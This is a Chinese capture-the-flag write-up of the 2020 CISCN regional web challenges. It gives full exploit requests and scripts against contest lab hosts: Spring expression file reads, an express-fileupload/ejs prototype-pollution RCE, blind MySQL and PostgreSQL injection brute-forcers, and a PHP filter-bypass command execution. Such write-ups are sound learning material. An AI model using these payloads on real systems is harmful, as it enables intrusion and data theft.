2020 CISCN 华东北赛区 WEB Writeup
一共 6 题 WEB, 我一个人拿了 4 个一血, 还有一题全场 0 解. 然而没有 pwn 爷爷依旧被吊打, 而且题目质量是真的差, 明年再打国赛我是傻逼.
web3
http://172.20.29.103:80/flag.php 直接返回 flag. 你们赛宁没有题目复审的么?
web4
随便 fuzz 根据报错得知是 sepl,构造 payload T%00 绕过过滤直接读文件即可, fix 的时候给看源码, 发现出题人正则写成了 "T\\\\x00"
, 应该是想到了要过滤的, 你们赛宁没有题目复审的么? x2
1POST / HTTP/1.1
2Host: 172.20.29.104:8080
3Content-Length: 91
4Cache-Control: max-age=0
5Origin: http://172.20.29.104:8080
6Upgrade-Insecure-Requests: 1
7DNT: 1
8Content-Type: application/x-www-form-urlencoded
9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
10Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
11Referer: http://172.20.29.104:8080/
12Accept-Encoding: gzip, deflate
13Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7
14Connection: close
15
16expr=T%00(java.nio.file.Files).readAllLines(T%00(java.nio.file.Paths).get%00('/flag.txt'))
web7
扫出来只有 static 文件夹,根据 server header 得知服务器用的 nginx,同时存在配置错误,可以目录穿越读取文件.
http://172.20.29.107/static../app.js, 在源码中发现使用了 express-fileupload
,存在原型链污染,可以结合 ejs 利用,直接 rce
1POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
2Host: 172.20.29.107
3User-Agent: curl/7.64.1
4Accept: */*
5Content-Length: 263
6Content-Type: multipart/form-data; boundary=------------------------a4826c30ee705335
7Connection: close
8
9--------------------------a4826c30ee705335
10Content-Disposition: form-data; name="__proto__.outputFunctionName"
11
12_tmp1;global.process.mainModule.require('child_process').exec('cat /flag.txt > flag.txt');var __tmp2
13--------------------------a4826c30ee705335--
然后读取 http://172.20.29.107/static../flag.txt 即可
web2
robots.txt 得到 hint.txt, 可以得到 sql 语句, 根据其特性,用 \ 来注入, 之后绕 waf 注入出密码,登陆后得到 c2ZtdHFs.php,
1import requests
2import string
3
4sess = requests.session()
5url = 'http://172.20.29.102/'
6
7flag = '0x5e'
8table = string.ascii_letters + '_' + string.digits
9table = [ord(i) for i in table]
10raw_flag = ''
11for _ in range(100):
12 for i in table:
13 t = flag + hex(i)[2:].rjust(0, '2')
14 #print(t)
15 data = {
16 'username': '\\',
17 'password': '||password/**/regexp/**/binary/**/%s#' % t
18 }
19
20 res = sess.post(url, data)
21 if 'success' in res.text:
22 #print(chr(i))
23 flag += hex(i)[2:].rjust(0, '2')
24 print(flag)
25 raw_flag += chr(i)
26 print(raw_flag)
27 break
28
29 if i == table[-1]:
30 print('WARNGIN')
用 & 绕一下过滤,即可 rce
1GET /c2ZtdHFs.php?gzmtu=(sysuem%26sysvem)((currenu%26currenv)((weucmmhecders%26oevennheeders)())) HTTP/1.1
2A: cat /flag.txt
3Host: 172.20.29.102
web5
pgsql 注入,双写绕过 select,之后熟悉下语法写脚本注入后登陆就有 flag
1import requests
2import string
3
4sess = requests.session()
5url = 'http://172.20.29.105/index.php'
6
7def to_chr(inp):
8 ret = ''
9 for i in inp:
10 ret += f"||chr({ord(i)})"
11 return ret
12
13table = string.ascii_letters + string.digits + '_.-'
14flag = ''
15table = string.printable
16table = [ord(i) for i in table]
17query = 'selselectect/**/password/**/from/**/users/**/limit/**/1/**/OFFSET/**/0'
18
19for _ in range(100):
20 for i in table:
21 t = to_chr(flag) + f'||chr({i})'
22 t = t[2:]
23
24 data = {
25 'username': 'admin',
26 'password': "admin'/**/or/**/'1'/**/and/**/cast(position(%s/**/in/**/(%s))/**/as/**/bool)/**/and/**/'1" % (t, query)
27 }
28
29 res = sess.post('http://172.20.29.105/index.php', data=data)
30 #print(res.text)
31 if 'hacker' in res.text:
32 print('hacker')
33
34 if 'Too Young Too Simple' in res.text:
35 flag += chr(i)
36 print(flag)
37 break
38 if i == table[-1]:
39 print('WARNNING')
40
41 for _ in range(100):
42 for i in table:
43 t = f'||chr({i})' + to_chr(flag)
44 t = t[2:]
45 data = {
46 'username': 'admin',
47 'password': "admin'/**/or/**/'1'/**/and/**/cast(position(%s/**/in/**/(%s))/**/as/**/bool)/**/and/**/'1" % (
48 t, query)
49 }
50
51 res = sess.post('http://172.20.29.105/index.php', data=data)
52 # print(res.text)
53 if 'hacker' in res.text:
54 print('hacker')
55
56 if 'Too Young Too Simple' in res.text:
57 flag = chr(i) + flag
58 print(flag)
59 break
60 if i == table[-1]:
61 print('WARNNING')
web6
这题目能把人气笑, 全场 0 解, 最后发现放了个 ssrf.php, 无任何提示, 就硬猜, 而且里面的过滤写成了 /file:|http://|php/
, 这是过滤了个锤子, 你们赛宁没有题目复审的么? x3